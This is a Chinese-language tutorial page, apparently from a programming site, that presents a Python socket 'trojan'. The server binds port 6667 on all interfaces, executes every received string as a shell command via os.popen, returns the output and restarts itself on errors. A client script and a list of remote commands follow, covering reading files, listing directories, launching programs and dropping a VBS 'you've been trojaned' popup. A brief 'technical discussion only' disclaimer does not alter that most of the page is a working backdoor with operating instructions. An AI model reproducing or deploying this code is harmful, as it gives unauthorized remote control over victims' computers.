首頁 > 軟體

Python Socket實現遠端木馬彈窗詳解

2022-07-25 18:05:04

嚴正宣告:本文僅限於技術討論,嚴禁用於其他用途。

基礎知識

  • socket通訊模組:針對TCP/IP協定簇進行的程式封裝,在Windows/Linux均有這樣底層模組。
  • Unicode 有多種儲存方式,常見的有 UTF-8、UTF-16、UTF-32,它們分別用不同的二進位制格式來表示 Unicode 字元
  • 如果全部英文或英文與其他文字混合,但英文佔絕大部分,用UTF-8就比UTF-16節省了很多空間.而如果全部是中文這樣類似的字元或者混合字元中中文佔絕大多數.UTF-16就佔優勢了,可以節省很多空間

編碼:

  • 英文多:建議用UTF-8編碼(utf-8是使用最多的編碼方式,是一種變長字元編碼)
  • 中文多:建議用UTF-16編碼
  • 中文:window中文采用的是GBK格式編碼

netstat -ant :只顯示傳輸層的資料 TCP,UDP連線,可以用來檢查socket服務是否起了

伺服器端(server)程式

import socket, os
def attack():
    try:
        s = socket.socket()
        s.bind(('0.0.0.0', 6667)) #   使用預設地址,所有裝置均可存取該伺服器的6667埠
        s.listen()     #    對6667埠進行監聽
        chanel, client = s.accept() #   進入阻塞狀態,accept() 返回元組,接受來自使用者端的資料,chanel:新的socket物件用於標識出伺服器和哪個使用者端連線進行通訊,  client: 使用者端的IP和埠
        while True:
            receive = chanel.recv(1024).decode()
            reply = os.popen(receive).read()
            chanel.send(f"命令{receive}的執行結果:n{reply}".encode())
    except:
        s.close()
        attack()
if __name__ == '__main__':
    attack()

使用者端(client)程式

import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667))	#192.168.137.1是socket伺服器的地址
while True:
    sendstr = input("請輸入訊息:")
    s.send(sendstr.encode())
    receive = s.recv(1024).decode()
    print(f"伺服器回覆:{receive}")
    # s.close()

其他命令執行函數

提示:需要匯入 os 模組—— import os

os.system('ipconfig')

os.popen('ipconfig').read()

eval()        # 將字串按照Python程式碼來執行

該木馬程式的基本用法

1、檢視檔案內容

window

type 檔案絕對路徑

linux

cat 檔案路徑

2、檢視檔案目錄

window

dir                #檢視當前檔案路徑目錄
dir 檔案路徑     #檢視指定檔案路徑目錄

linux

ls                #檢視當前檔案路徑目錄
ll                #檢視當前檔案路徑目錄詳細資訊
ls 檔案路徑         #檢視指定檔案路徑目錄
ll 檔案路徑         #檢視指定檔案路徑目錄詳細資訊

3、建立檔案或目錄

windows

echo test >> demo.txt    #建立一個demo.txt檔案,檔案內容為 test

linux

mkdir 路徑    #建立目錄
echo test >> demo.txt    #建立一個demo.txt檔案,檔案內容為 test

4、呼叫windows應用程式

呼叫計算器

calc.exe

呼叫其他參照程式

直接輸入應用程式絕對路徑

5、呼叫Windows彈窗

echo msgbox("你中木馬了!!")  > E:hi.vbs    
E:hi.vbs

到此這篇關於Python Socket實現遠端木馬彈窗詳解的文章就介紹到這了,更多相關Python Socket內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com